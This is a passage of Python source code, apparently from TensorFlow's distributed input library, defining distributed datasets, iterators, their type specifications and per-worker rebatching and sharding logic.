@doc_controls.do_not_generate_docs\n def reduce(self, initial_state, reduce_func):\n raise NotImplementedError(\n \"DistributedDataset.reduce must be implemented in descendants.\")\n\n\nclass InputWorkers(object):\n \"\"\"A 1-to-many mapping from input worker devices to compute devices.\"\"\"\n\n # TODO(ishark): Remove option canonicalize_devices and make all the callers\n # pass canonicalized or raw device strings as relevant from strategy.\n def __init__(self, worker_device_pairs, canonicalize_devices=True):\n \"\"\"Initialize an `InputWorkers` object.\n\n Args:\n worker_device_pairs: A sequence of pairs: `(input device, a tuple of\n compute devices fed by that input device)`.\n canonicalize_devices: Whether to canonicalize devices for workers fully or\n partially. If False, it will partially canonicalize devices by removing\n job and task.\n \"\"\"\n self._worker_device_pairs = worker_device_pairs\n self._input_worker_devices = tuple(d for d, _ in self._worker_device_pairs)\n self._canonicalize_devices = canonicalize_devices\n if canonicalize_devices:\n self._fed_devices = tuple(\n tuple(device_util.canonicalize(d)\n for d in f)\n for _, f in self._worker_device_pairs)\n else:\n self._fed_devices = tuple(\n tuple(device_util.canonicalize_without_job_and_task(d)\n for d in f)\n for _, f in self._worker_device_pairs)\n\n @property\n def num_workers(self):\n return len(self._input_worker_devices)\n\n @property\n def worker_devices(self):\n return self._input_worker_devices\n\n def compute_devices_for_worker(self, worker_index):\n return self._fed_devices[worker_index]\n\n def __repr__(self):\n devices = self.worker_devices\n debug_repr = \",\\n\".join(\" %d %s: %s\" %\n (i, devices[i], self._fed_devices[i])\n for i in range(len(devices)))\n return \"%s:{\\n%s}\" % (self.__class__.__name__, debug_repr)\n\n def serialize(self):\n return (self._worker_device_pairs, self._canonicalize_devices)\n\n def deserialize(self, serialized):\n return InputWorkers(serialized)\n\n\ndef _get_next_as_optional(iterator, strategy, return_per_replica=False):\n \"\"\"Returns an empty dataset indicator and the next input from the iterator.\n\n Args:\n iterator: a DistributedIterator object.\n strategy: the `tf.distribute.Strategy` instance.\n return_per_replica: a boolean. If True, the returned data will be wrapped\n with `PerReplica` structure. Otherwise it is a 2D\n num_input_workers*num_replicas_per_worker list.\n\n Returns:\n A tuple (a boolean tensor indicating whether the next batch has value\n globally, data from all replicas).\n \"\"\"\n replicas = []\n worker_has_values = []\n worker_devices = []\n with distribution_strategy_context.enter_or_assert_strategy(strategy):\n if distribution_strategy_context.get_replica_context() is not None:\n raise ValueError(\"next(iterator) should be called from outside of \"\n \"replica_fn. e.g. strategy.run(replica_fn, \"\n \"args=(next(iterator),))\")\n\n for i, worker in enumerate(iterator._input_workers.worker_devices): # pylint: disable=protected-access\n with ops.device(worker):\n worker_has_value, next_element = (\n iterator._iterators[i].get_next_as_list()) # pylint: disable=protected-access\n # Collective all-reduce requires explicit devices for inputs.\n with ops.device(\"/cpu:0\"):\n # Converting to integers for all-reduce.\n worker_has_value = math_ops.cast(worker_has_value, dtypes.int64)\n worker_devices.append(worker_has_value.device)\n worker_has_values.append(worker_has_value)\n # Make `replicas` a flat list of values across all replicas.\n replicas.append(next_element)\n\n if return_per_replica:\n flattened_data = []\n for per_worker_data in replicas:\n flattened_data.extend(per_worker_data)\n replicas = _create_per_replica(flattened_data, strategy)\n\n # Run an all-reduce to see whether any worker has values.\n # TODO(b/131423105): we should be able to short-cut the all-reduce in some\n # cases.\n if getattr(strategy.extended, \"_support_per_replica_values\", True):\n # `reduce` expects a `PerReplica`, so we pass it one, even\n # though it doesn't actually have a value per replica\n worker_has_values = values.PerReplica(worker_has_values)\n global_has_value = strategy.reduce(\n reduce_util.ReduceOp.SUM, worker_has_values, axis=None)\n else:\n assert len(worker_has_values) == 1\n global_has_value = worker_has_values[0]\n global_has_value = array_ops.reshape(\n math_ops.cast(global_has_value, dtypes.bool), [])\n return global_has_value, replicas\n\n\ndef _is_statically_shaped(element_spec):\n \"\"\"Test if an iterator output is statically shaped.\n\n For sparse and ragged tensors this only tests the batch dimension.\n\n Args:\n element_spec: a nest structure of `tf.TypeSpec`. The element spec of the\n dataset of the iterator.\n\n Returns:\n True if the shape is static, false otherwise.\n \"\"\"\n\n for spec in nest.flatten(element_spec):\n if isinstance(\n spec, (sparse_tensor.SparseTensorSpec, ragged_tensor.RaggedTensorSpec)):\n # For sparse or ragged tensor, we should only check the first\n # dimension in order to get_next_as_optional. This is because\n # when these tensors get batched by dataset only the batch dimension\n # is set.\n if spec.shape.rank > 0 and spec.shape.as_list()[0] is None:\n return False\n else:\n for component in nest.flatten(spec._component_specs): # pylint: disable=protected-access\n if not component.shape.is_fully_defined():\n return False\n return True\n\n\nclass DistributedIteratorBase(DistributedIteratorInterface):\n \"\"\"Common implementation for all input iterators.\"\"\"\n\n # pylint: disable=super-init-not-called\n def __init__(self, input_workers, iterators, strategy,\n enable_get_next_as_optional):\n assert isinstance(input_workers, InputWorkers)\n if not input_workers.worker_devices:\n raise ValueError(\"Should have at least one worker for input iterator.\")\n\n self._iterators = iterators\n self._input_workers = input_workers\n self._strategy = strategy\n self._enable_get_next_as_optional = enable_get_next_as_optional\n\n def next(self):\n return self.__next__()\n\n def __next__(self):\n try:\n return self.get_next()\n except errors.OutOfRangeError:\n raise StopIteration\n\n def __iter__(self):\n return self\n\n def get_next_as_optional(self):\n global_has_value, replicas = _get_next_as_optional(\n self, self._strategy, return_per_replica=True)\n\n def return_none():\n return optional_ops.Optional.empty(self._element_spec)\n\n return control_flow_ops.cond(\n global_has_value, lambda: optional_ops.Optional.from_value(replicas),\n return_none)\n\n def get_next(self, name=None):\n \"\"\"Returns the next input from the iterator for all replicas.\"\"\"\n if not self._enable_get_next_as_optional:\n with distribution_strategy_context.enter_or_assert_strategy(\n self._strategy):\n if distribution_strategy_context.get_replica_context() is not None:\n raise ValueError(\"next(iterator) should be called from outside of \"\n \"replica_fn. e.g. strategy.run(replica_fn, \"\n \"args=(next(iterator),))\")\n\n replicas = []\n for i, worker in enumerate(self._input_workers.worker_devices):\n if name is not None:\n d = tf_device.DeviceSpec.from_string(worker)\n new_name = \"%s_%s_%d\" % (name, d.job, d.task)\n else:\n new_name = None\n with ops.device(worker):\n # Make `replicas` a flat list of values across all replicas.\n replicas.extend(\n self._iterators[i].get_next_as_list_static_shapes(new_name))\n return _create_per_replica(replicas, self._strategy)\n\n out_of_range_replicas = []\n def out_of_range_fn(worker_index, device):\n \"\"\"This function will throw an OutOfRange error.\"\"\"\n # As this will be only called when there is no data left, so calling\n # get_next() will trigger an OutOfRange error.\n data = self._iterators[worker_index].get_next(device)\n out_of_range_replicas.append(data)\n return data\n\n global_has_value, replicas = _get_next_as_optional(\n self, self._strategy, return_per_replica=False)\n results = []\n for i, worker in enumerate(self._input_workers.worker_devices):\n with ops.device(worker):\n devices = self._input_workers.compute_devices_for_worker(i)\n for j, device in enumerate(devices):\n with ops.device(device):\n # pylint: disable=undefined-loop-variable\n # pylint: disable=cell-var-from-loop\n # It is fine for the lambda to capture variables from the loop as\n # the lambda is executed in the loop as well.\n result = control_flow_ops.cond(\n global_has_value,\n lambda: replicas[i][j],\n lambda: out_of_range_fn(i, device),\n strict=True,\n )\n # pylint: enable=cell-var-from-loop\n # pylint: enable=undefined-loop-variable\n results.append(result)\n replicas = results\n\n return _create_per_replica(replicas, self._strategy)\n\n\nclass DistributedIteratorV1(DistributedIteratorBase):\n \"\"\"Input Iterator for a distributed dataset.\"\"\"\n\n # We need a private initializer method for re-initializing multidevice\n # iterators when used with Keras training loops. If we don't reinitialize the\n # iterator we run into memory leak issues (b/123315763).\n @property\n def _initializer(self):\n init_ops = []\n for it in self._iterators:\n init_ops.extend(it.initialize())\n return control_flow_ops.group(init_ops)\n\n @deprecated(None, \"Use the iterator's `initializer` property instead.\")\n def initialize(self):\n \"\"\"Initialize underlying iterators.\n\n Returns:\n A list of any initializer ops that should be run.\n \"\"\"\n return self._initializer\n\n @property\n def initializer(self):\n \"\"\"Returns a list of ops that initialize the iterator.\"\"\"\n return self.initialize()\n\n # TODO(priyag): Remove when we switch to using `MultiDeviceIterator` for TPUs.\n @property\n def output_classes(self):\n return self._iterators[0].output_classes\n\n # TODO(priyag): Remove when we switch to using `MultiDeviceIterator` for TPUs.\n @property\n def output_shapes(self):\n return self._iterators[0].output_shapes\n\n # TODO(priyag): Remove when we switch to using `MultiDeviceIterator` for TPUs.\n @property\n def output_types(self):\n return self._iterators[0].output_types\n\n # TODO(priyag): Remove when we switch to using `MultiDeviceIterator` for TPUs.\n def get_iterator(self, worker):\n for i, w in enumerate(self._input_workers.worker_devices):\n if worker == w:\n return self._iterators[i]\n return None\n\n @property\n def element_spec(self):\n \"\"\"The type specification of an element of this iterator.\"\"\"\n return self._element_spec\n\n\nclass DistributedDatasetAndIteratorSpec(type_spec.TypeSpec):\n \"\"\"Common Type specification for `DistributedDataset and DistributedDatasetsFromFunction.\"\"\"\n\n __slots__ = [\n \"_input_workers\", \"_element_spec\", \"_strategy\",\n \"_enable_get_next_as_optional\", \"_options\",\n \"_canonicalize_devices\"\n ]\n\n def __init__(self,\n input_workers,\n element_spec,\n strategy,\n options,\n enable_get_next_as_optional=None):\n # We don't want to allow deserialization of this class because we don't\n # serialize the strategy object. Currently the only places where\n # _deserialize is called is when we save/restore using SavedModels.\n if isinstance(input_workers, tuple):\n raise NotImplementedError(\"DistributedIteratorSpec does not have support \"\n \"for deserialization.\")\n else:\n self._input_workers = input_workers\n self._element_spec = element_spec\n self._strategy = strategy\n self._enable_get_next_as_optional = enable_get_next_as_optional\n self._options = options\n if self._strategy:\n self._canonicalize_devices = getattr(self._strategy,\n \"_canonicalize_devices\", True)\n else:\n self._canonicalize_devices = True\n\n def _serialize(self):\n # We cannot serialize the strategy object so we convert it to an id that we\n # can use for comparison.\n return (self._input_workers.serialize(), self._element_spec,\n id(self._strategy), id(self._options))\n\n def _deserialize(self):\n raise ValueError(\n f\"Deserialization is currently unsupported for {type(self)}.\")\n\n def sanity_check_type(self, other):\n \"\"\"Returns the most specific TypeSpec compatible with `self` and `other`.\n\n Args:\n other: A `TypeSpec`.\n\n Raises:\n ValueError: If there is no TypeSpec that is compatible with both `self`\n and `other`.\n \"\"\"\n # pylint: disable=protected-access\n if type(self) is not type(other):\n raise ValueError(\"No TypeSpec is compatible with both %s and %s\" %\n (self, other))\n if self._input_workers.serialize() != other._input_workers.serialize():\n raise ValueError(\"_input_workers is not compatible with both %s \"\n \"and %s\" % (self, other))\n if self._strategy is not other._strategy:\n raise ValueError(\"tf.distribute strategy is not compatible with both %s \"\n \"and %s\" % (self, other))\n\n\nclass DistributedIteratorSpec(DistributedDatasetAndIteratorSpec):\n \"\"\"Type specification for `DistributedIterator`.\"\"\"\n\n def __init__(self, input_workers, element_spec, strategy,\n enable_get_next_as_optional, options):\n super(DistributedIteratorSpec,\n self).__init__(input_workers, element_spec, strategy, options,\n enable_get_next_as_optional)\n\n @property\n def value_type(self):\n return DistributedIterator\n\n # Overriding this method so that we can merge and reconstruct the spec object\n def most_specific_compatible_type(self, other):\n \"\"\"Returns the most specific TypeSpec compatible with `self` and `other`.\n\n Args:\n other: A `TypeSpec`.\n\n Raises:\n ValueError: If there is no TypeSpec that is compatible with both `self`\n and `other`.\n \"\"\"\n # pylint: disable=protected-access\n self.sanity_check_type(other)\n element_spec = nest.map_structure(\n lambda a, b: a.most_specific_compatible_type(b), self._element_spec,\n other._element_spec)\n return DistributedIteratorSpec(self._input_workers, element_spec,\n self._strategy,\n self._enable_get_next_as_optional,\n self._options)\n\n @property\n def _component_specs(self):\n specs = []\n worker_device_pairs = self._input_workers._worker_device_pairs # pylint: disable=protected-access\n\n for i, (input_device, compute_devices) in enumerate(worker_device_pairs):\n element_spec = nest.map_structure(\n functools.partial(_replace_per_replica_spec, i=i), self._element_spec)\n specs.append(\n _SingleWorkerDatasetIteratorSpec(input_device, compute_devices,\n element_spec, self._options,\n self._canonicalize_devices))\n return specs\n\n def _to_components(self, value):\n return value._iterators # pylint: disable=protected-access\n\n def _from_components(self, components):\n return DistributedIterator(\n input_workers=self._input_workers,\n iterators=None,\n components=components,\n element_spec=self._element_spec,\n strategy=self._strategy,\n enable_get_next_as_optional=self._enable_get_next_as_optional,\n options=self._options)\n\n @staticmethod\n def from_value(value):\n # pylint: disable=protected-access\n return DistributedIteratorSpec(value._input_workers, value._element_spec,\n value._strategy,\n value._enable_get_next_as_optional,\n value._options)\n\n def _with_tensor_ranks_only(self):\n element_spec = nest.map_structure(\n lambda s: s._with_tensor_ranks_only(), # pylint: disable=protected-access\n self._element_spec)\n return DistributedIteratorSpec(self._input_workers, element_spec,\n self._strategy,\n self._enable_get_next_as_optional,\n self._options)\n\n\nclass DistributedIterator(DistributedIteratorBase,\n composite_tensor.CompositeTensor):\n \"\"\"Input Iterator for a distributed dataset.\"\"\"\n\n def __init__(self,\n input_workers=None,\n iterators=None,\n strategy=None,\n components=None,\n element_spec=None,\n enable_get_next_as_optional=False,\n options=None):\n if input_workers is None:\n raise ValueError(\"`input_workers` should be \"\n \"provided.\")\n\n error_message = (\"Either `input_workers` or \"\n \"both `components` and `element_spec` need to be \"\n \"provided.\")\n self._options = options\n\n if iterators is None:\n if (components is None or element_spec is None):\n raise ValueError(error_message)\n self._element_spec = element_spec\n self._input_workers = input_workers\n self._iterators = components\n self._strategy = strategy\n self._enable_get_next_as_optional = enable_get_next_as_optional\n else:\n if (components is not None and element_spec is not None):\n raise ValueError(error_message)\n\n super(DistributedIterator,\n self).__init__(input_workers, iterators, strategy,\n enable_get_next_as_optional)\n\n @property\n def element_spec(self):\n # When partial batch handling is enabled, always set the batch dimension to\n # None, otherwise we just follow element_spec of the underlying dataset\n # (whose batch dimension may also be None). This is because with partial\n # batching handling we could always produce empty batches.\n if (self._enable_get_next_as_optional and\n self._strategy.extended._in_multi_worker_mode()): # pylint: disable=protected-access\n return nest.map_structure(\n _rebatch_as_dynamic, self._element_spec, expand_composites=False)\n return self._element_spec\n\n @property\n def _type_spec(self):\n # Note that we use actual element_spec instead of the rebatched-as-dynamic\n # one to create DistributedIteratorSpec, to be consistent with the\n # underlying iterators' specs.\n return DistributedIteratorSpec(self._input_workers, self._element_spec,\n self._strategy,\n self._enable_get_next_as_optional,\n self._options)\n\n\nclass _IterableInput(DistributedDatasetInterface):\n \"\"\"Base class for iterable inputs for distribution strategies.\"\"\"\n\n # pylint: disable=super-init-not-called\n def __init__(self, input_workers):\n assert isinstance(input_workers, InputWorkers)\n self._input_workers = input_workers\n\n def __iter__(self):\n raise NotImplementedError(\"must be implemented in descendants\")\n\n def reduce(self, initial_state, reduce_fn):\n \"\"\"Execute a `reduce_fn` over all the elements of the input.\"\"\"\n iterator = iter(self)\n has_data, data = _get_next_as_optional(\n iterator, self._strategy, return_per_replica=True)\n\n def cond(has_data, data, state):\n del data, state # Unused.\n return has_data\n\n def loop_body(has_data, data, state):\n \"\"\"Executes `reduce_fn` in a loop till the dataset is empty.\"\"\"\n del has_data # Unused.\n state = reduce_fn(state, data)\n has_data, data = _get_next_as_optional(\n iterator, self._strategy, return_per_replica=True)\n return has_data, data, state\n\n has_data, data, final_state = control_flow_ops.while_loop(\n cond, loop_body, [has_data, data, initial_state], parallel_iterations=1)\n return final_state\n\n\nclass DistributedDatasetSpec(DistributedDatasetAndIteratorSpec):\n \"\"\"Type specification for `DistributedDataset.\"\"\"\n\n def __init__(self, input_workers, element_spec, strategy,\n enable_get_next_as_optional, options):\n super(DistributedDatasetSpec,\n self).__init__(input_workers, element_spec, strategy, options,\n enable_get_next_as_optional)\n\n @property\n def value_type(self):\n return DistributedDataset\n\n # Overriding this method so that we can merge and reconstruct the spec object\n def most_specific_compatible_type(self, other):\n \"\"\"Returns the most specific TypeSpec compatible with `self` and `other`.\n\n Args:\n other: A `TypeSpec`.\n\n Raises:\n ValueError: If there is no TypeSpec that is compatible with both `self`\n and `other`.\n \"\"\"\n # pylint: disable=protected-access\n self.sanity_check_type(other)\n element_spec = nest.map_structure(\n lambda a, b: a.most_specific_compatible_type(b), self._element_spec,\n other._element_spec)\n return DistributedDatasetSpec(self._input_workers, element_spec,\n self._strategy,\n self._enable_get_next_as_optional,\n self._options)\n\n @property\n def _component_specs(self):\n specs = []\n worker_device_pairs = self._input_workers._worker_device_pairs # pylint: disable=protected-access\n\n for i, _ in enumerate(worker_device_pairs):\n element_spec = nest.map_structure(\n functools.partial(_replace_per_replica_spec, i=i), self._element_spec)\n specs.append(dataset_ops.DatasetSpec(element_spec))\n return specs\n\n def _to_components(self, value):\n return value._cloned_datasets # pylint: disable=protected-access\n\n def _from_components(self, components):\n return DistributedDataset(\n input_workers=self._input_workers,\n strategy=self._strategy,\n components=components,\n element_spec=self._element_spec,\n enable_get_next_as_optional=self._enable_get_next_as_optional,\n options=self._options)\n\n @staticmethod\n def from_value(value):\n # pylint: disable=protected-access\n return DistributedDatasetSpec(value._input_workers, value._element_spec,\n value._strategy,\n value._enable_get_next_as_optional,\n value._options)\n\n\nclass DistributedDataset(_IterableInput, composite_tensor.CompositeTensor):\n \"\"\"Distributed dataset that supports prefetching to multiple devices.\"\"\"\n\n def __init__(self,\n input_workers,\n strategy,\n dataset=None,\n num_replicas_in_sync=None,\n input_context=None,\n components=None,\n element_spec=None,\n enable_get_next_as_optional=None,\n options=None):\n \"\"\"Distribute the dataset on all workers.\n\n If `num_replicas_in_sync` is not None, we split each batch of the dataset\n into `num_replicas_in_sync` smaller batches, to be distributed among that\n worker's replicas, so that the batch size for a global step (across all\n workers and replicas) is as expected.\n\n Args:\n input_workers: an `InputWorkers` object.\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n dataset: `tf.data.Dataset` that will be used as the input source. Either\n dataset or components field should be passed when constructing\n DistributedDataset. Use this when contructing DistributedDataset from a\n new `tf.data.Dataset`. Use components when constructing using\n DistributedDatasetSpec.\n num_replicas_in_sync: Optional integer. If this is not None, the value\n is used to decide how to rebatch datasets into smaller batches so that\n the total batch size for each step (across all workers and replicas)\n adds up to `dataset`'s batch size.\n input_context: `InputContext` for sharding. Only pass this in for between\n graph multi-worker cases where there is only one `input_worker`. In\n these cases, we will shard based on the `input_pipeline_id` and\n `num_input_pipelines` in the `InputContext`.\n components: datasets when DistributedDataset is constructed from\n DistributedDatasetSpec. Either field dataset or components should be\n passed.\n element_spec: element spec for DistributedDataset when constructing from\n DistributedDatasetSpec. This will be used to set the element_spec for\n DistributedDataset and verified against element_spec from components.\n enable_get_next_as_optional: this is required when components is passed\n instead of dataset.\n options: `tf.distribute.InputOptions` used to control options on how this\n dataset is distributed.\n \"\"\"\n super(DistributedDataset, self).__init__(input_workers=input_workers)\n if input_workers is None or strategy is None:\n raise ValueError(\"input_workers and strategy are required arguments\")\n if dataset is not None and components is not None:\n raise ValueError(\"Only one of dataset or components should be present\")\n if dataset is None and components is None:\n raise ValueError(\"At least one of dataset or components should be passed\")\n\n if dataset is not None:\n self._create_cloned_datasets_from_dataset(dataset, input_context,\n input_workers, strategy,\n num_replicas_in_sync)\n else:\n if enable_get_next_as_optional is None:\n raise ValueError(\n \"When constructing DistributedDataset with components, \" +\n \"enable_get_next_as_optional should also be passed\")\n self._cloned_datasets = components\n self._enable_get_next_as_optional = enable_get_next_as_optional\n\n self._input_workers = input_workers\n self._strategy = strategy\n self._options = options\n\n if element_spec is not None:\n if element_spec != _create_distributed_tensor_spec(\n self._strategy, self._cloned_datasets[0].element_spec):\n raise ValueError(\"Mismatched element_spec from the passed components\")\n self._element_spec = element_spec\n else:\n self._element_spec = _create_distributed_tensor_spec(\n self._strategy, self._cloned_datasets[0].element_spec)\n\n def _create_cloned_datasets_from_dataset(self, dataset, input_context,\n input_workers, strategy,\n num_replicas_in_sync):\n # We clone and shard the dataset on each worker. The current setup tries to\n # shard the dataset by files if possible so that each worker sees a\n # different subset of files. If that is not possible, will attempt to shard\n # the final input such that each worker will run the entire preprocessing\n # pipeline and only receive its own shard of the dataset.\n\n # Additionally, we rebatch the dataset on each worker into\n # `num_replicas_in_sync` smaller batches to be distributed among that\n # worker's replicas, so that the batch size for a global step (across all\n # workers and replicas) adds up to the original dataset's batch size.\n if num_replicas_in_sync is not None:\n num_workers = input_context.num_input_pipelines if input_context else len(\n input_workers.worker_devices)\n rebatch_fn = self._make_rebatch_fn(dataset, num_workers,\n num_replicas_in_sync)\n else:\n rebatch_fn = None\n self._cloned_datasets = []\n if input_context:\n # Between-graph where we rely on the input_context for sharding\n assert input_workers.num_workers == 1\n if rebatch_fn is not None:\n dataset = rebatch_fn(dataset, input_context.input_pipeline_id)\n dataset = input_ops.auto_shard_dataset(dataset,\n input_context.num_input_pipelines,\n input_context.input_pipeline_id,\n num_replicas_in_sync)\n self._cloned_datasets.append(dataset)\n else:\n replicated_ds = distribute.replicate(dataset,\n input_workers.worker_devices)\n for i, worker in enumerate(input_workers.worker_devices):\n with ops.device(worker):\n cloned_dataset = replicated_ds[worker]\n if rebatch_fn is not None:\n cloned_dataset = rebatch_fn(cloned_dataset, i)\n cloned_dataset = input_ops.auto_shard_dataset(\n cloned_dataset, len(input_workers.worker_devices), i,\n num_replicas_in_sync)\n self._cloned_datasets.append(cloned_dataset)\n\n self._enable_get_next_as_optional = _enable_get_next_as_optional(\n strategy, dataset)\n\n def _make_rebatch_fn(self, dataset, num_workers, num_replicas_in_sync):\n \"\"\"Returns a callable that rebatches the input dataset.\n\n Args:\n dataset: A `tf.data.Dataset` representing the dataset to be distributed.\n num_workers: An integer representing the number of workers to distribute\n `dataset` among.\n num_replicas_in_sync: An integer representing the number of replicas in\n sync across all workers.\n \"\"\"\n if num_replicas_in_sync % num_workers:\n raise ValueError(\n \"tf.distribute expects every worker to have the same number of \"\n \"replicas. However, encountered `num_replicas_in_sync` ({}) that \"\n \"cannot be divided by `num_workers` ({})\".format(\n num_replicas_in_sync, num_workers))\n\n num_replicas_per_worker = num_replicas_in_sync // num_workers\n with ops.colocate_with(dataset._variant_tensor): # pylint: disable=protected-access\n batch_size = distribute.compute_batch_size(dataset)\n\n def rebatch_fn(dataset, worker_index):\n try:\n # pylint: disable=protected-access\n def apply_rebatch():\n batch_sizes = distribute.batch_sizes_for_worker(\n batch_size, num_workers, num_replicas_per_worker, worker_index)\n return distribute._RebatchDataset(\n dataset, batch_sizes).prefetch(num_replicas_per_worker)\n\n def apply_legacy_rebatch():\n return distribute._LegacyRebatchDataset(\n dataset, num_replicas_in_sync).prefetch(num_replicas_per_worker)\n\n with ops.colocate_with(dataset._variant_tensor):\n return control_flow_ops.cond(\n math_ops.not_equal(batch_size, -1),\n true_fn=apply_rebatch,\n false_fn=apply_legacy_rebatch)\n except errors.InvalidArgumentError as e:\n if \"without encountering a batch\" in str(e):\n six.reraise(\n ValueError,\n ValueError(\n \"Call the `batch` method on the input Dataset in order to be \"\n \"able to split your input across {} replicas.\\n Please see \"\n \"the tf.distribute.Strategy guide. {}\".format(\n num_replicas_in_sync, e)),\n sys.exc_info()[2])\n else:\n raise\n\n return rebatch_fn\n\n def __iter__(self):\n if not (context.executing_eagerly() or\n ops.get_default_graph().building_function):\n raise RuntimeError(\"__iter__() is only supported inside of tf.function \"\n \"or when eager execution is enabled.\")\n\n # This is an optional flag that can be used to turn off using\n # OwnedMultiDeviceIterators and instead use the legacy MultiDeviceIterators\n # as a stop gap solution that will allow us to roll out this change.\n enable_legacy_iterators = getattr(self._strategy,\n \"_enable_legacy_iterators\", False)\n\n canonicalize_devices = getattr(self._strategy, \"_canonicalize_devices\",\n True)\n\n worker_iterators = _create_iterators_per_worker(self._cloned_datasets,\n self._input_workers,\n enable_legacy_iterators,\n self._options,\n canonicalize_devices)\n if enable_legacy_iterators:\n iterator = DistributedIteratorV1(\n self._input_workers,\n worker_iterators,\n self._strategy,\n enable_get_next_as_optional=self._enable_get_next_as_optional)\n else:\n iterator = DistributedIterator(\n self._input_workers,\n worker_iterators,\n self._strategy,\n enable_get_next_as_optional=self._enable_get_next_as_optional,\n options=self._options)\n iterator._element_spec = self._element_spec # pylint: disable=protected-access\n\n # When async eager is enabled, sometimes the iterator may not finish\n # initialization before passing to a multi device function, add a sync point\n # here to make sure all underlying iterators are initialized.\n if context.executing_eagerly():\n context.async_wait()\n\n return iterator\n\n @property\n def element_spec(self):\n \"\"\"The type specification of an element of this dataset.\"\"\"\n # When partial batch handling is enabled, always set the batch dimension to\n # None, otherwise we just follow element_spec of the underlying dataset\n # (whose batch dimension may also be None). This is because with partial\n # batching handling we could always produce empty batches.\n if (self._enable_get_next_as_optional and\n self._strategy.extended._in_multi_worker_mode()): # pylint: disable=protected-access\n return nest.map_structure(\n _rebatch_as_dynamic, self._element_spec, expand_composites=False)\n return self._element_spec\n\n @property\n def _type_spec(self):\n return DistributedDatasetSpec(self._input_workers, self._element_spec,\n self._strategy,\n self._enable_get_next_as_optional,\n self._options)\n\n\nclass DistributedDatasetV1(DistributedDataset):\n \"\"\"Distributed dataset that supports prefetching to multiple devices.\"\"\"\n\n def __init__(self,\n dataset,\n input_workers,\n strategy,\n num_replicas_in_sync=None,\n input_context=None,\n options=None):\n self._input_workers = input_workers\n super(DistributedDatasetV1, self).__init__(\n input_workers,\n strategy,\n dataset,\n num_replicas_in_sync=num_replicas_in_sync,\n input_context=input_context,\n options=options)\n\n def make_one_shot_iterator(self):\n \"\"\"Get a one time use iterator for DistributedDatasetV1.\n\n Note: This API is deprecated. Please use `for ... in dataset:` to iterate\n over the dataset or `iter` to create an iterator.\n\n Returns:\n A DistributedIteratorV1 instance.\n \"\"\"\n return self._make_one_shot_iterator()\n\n def _make_one_shot_iterator(self):\n \"\"\"Get an iterator for DistributedDatasetV1.\"\"\"\n # Graph mode with one shot iterator is disabled because we have to call\n # `initialize` on the iterator which is only required if we are using a\n # tf.distribute strategy.\n if not context.executing_eagerly():\n raise ValueError(\"Cannot create a one shot iterator. Please use \"\n \"`make_initializable_iterator()` instead.\")\n return self._get_iterator()\n\n def make_initializable_iterator(self):\n \"\"\"Get an initializable iterator for DistributedDatasetV1.\n\n Note: This API is deprecated. Please use\n `tf.compat.v1.data.make_initializable_iterator(dataset)` to create an\n initializable iterator.\n\n Returns:\n A DistributedIteratorV1 instance.\n \"\"\"\n return self._make_initializable_iterator()\n\n def _make_initializable_iterator(self, shared_name=None): # pylint: disable=unused-argument\n \"\"\"Get an initializable iterator for DistributedDatasetV1.\"\"\"\n # Eager mode generates already initialized iterators. Hence we cannot create\n # an initializable iterator.\n if context.executing_eagerly():\n raise ValueError(\"Cannot create initializable iterator in Eager mode. \"\n \"Please use `iter()` instead.\")\n return self._get_iterator()\n\n def _get_iterator(self):\n worker_iterators = _create_iterators_per_worker(self._cloned_datasets,\n self._input_workers, True,\n self._options)\n iterator = DistributedIteratorV1(self._input_workers, worker_iterators,\n self._strategy,\n self._enable_get_next_as_optional)\n iterator._element_spec = self.element_spec # pylint: disable=protected-access\n\n # When async eager is enabled, sometimes the iterator may not finish\n # initialization before passing to a multi device function, add a sync point\n # here to make sure all underlying iterators are initialized.\n if context.executing_eagerly():\n context.async_wait()\n\n return iterator\n\n def __iter__(self):\n if (ops.executing_eagerly_outside_functions() or\n ops.get_default_graph().building_function):\n return self._get_iterator()\n\n raise RuntimeError(\"__iter__() is only supported inside of tf.function \"\n \"or when eager execution is enabled.\")\n\n\nclass DistributedDatasetsFromFunctionSpec(DistributedDatasetAndIteratorSpec):\n \"\"\"Type specification for `DistributedDatasetsFromFunction.\"\"\"\n\n def __init__(self, input_workers, element_spec, strategy, options):\n super(DistributedDatasetsFromFunctionSpec,\n self).__init__(input_workers, element_spec, strategy, options)\n\n @property\n def value_type(self):\n return DistributedDatasetsFromFunction\n\n @property\n def _component_specs(self):\n specs = []\n worker_device_pairs = self._input_workers._worker_device_pairs # pylint: disable=protected-access\n\n for i, _ in enumerate(worker_device_pairs):\n element_spec = nest.map_structure(\n functools.partial(_replace_per_replica_spec, i=i), self._element_spec)\n specs.append(dataset_ops.DatasetSpec(element_spec))\n return specs\n\n # Overriding this method so that we can merge and reconstruct the spec object\n def most_specific_compatible_type(self, other):\n \"\"\"Returns the most specific TypeSpec compatible with `self` and `other`.\n\n Args:\n other: A `TypeSpec`.\n\n Raises:\n ValueError: If there is no TypeSpec that is compatible with both `self`\n and `other`.\n \"\"\"\n # pylint: disable=protected-access\n self.sanity_check_type(other)\n element_spec = nest.map_structure(\n lambda a, b: a.most_specific_compatible_type(b), self._element_spec,\n other._element_spec) # pylint: disable=protected-access\n return DistributedDatasetsFromFunctionSpec(self._input_workers,\n element_spec, self._strategy,\n self._options)\n\n def _to_components(self, value):\n return value._datasets # pylint: disable=protected-access\n\n def _from_components(self, components):\n return DistributedDatasetsFromFunction(\n input_workers=self._input_workers,\n strategy=self._strategy,\n components=components,\n element_spec=self._element_spec,\n options=self._options)\n\n @staticmethod\n def from_value(value):\n # pylint: disable=protected-access\n return DistributedDatasetsFromFunctionSpec(\n input_workers=value._input_workers,\n element_spec=value._element_spec,\n strategy=value._strategy,\n options=value._options)\n\n\n# TODO(priyag): Add other replication modes.\nclass DistributedDatasetsFromFunction(_IterableInput,\n composite_tensor.CompositeTensor):\n \"\"\"Inputs created from dataset function.\"\"\"\n\n def __init__(self,\n input_workers,\n strategy,\n input_contexts=None,\n dataset_fn=None,\n options=None,\n components=None,\n element_spec=None):\n \"\"\"Makes an iterable from datasets created by the given function.\n\n Args:\n input_workers: an `InputWorkers` object.\n strategy: a `tf.distribute.Strategy` object, used to run all-reduce to\n handle last partial batch.\n input_contexts: A list of `InputContext` instances to be passed to call(s)\n to `dataset_fn`. Length and order should match worker order in\n `worker_device_pairs`.\n dataset_fn: A function that returns a `Dataset` given an `InputContext`.\n Either dataset_fn or components should be passed to construct\n DistributedDatasetsFromFunction. Use this when constructing\n DistributedDataset using a function. Use components when constructing\n using DistributedDatasetsFromFunctionSpec.\n options: `tf.distribute.InputOptions` used to 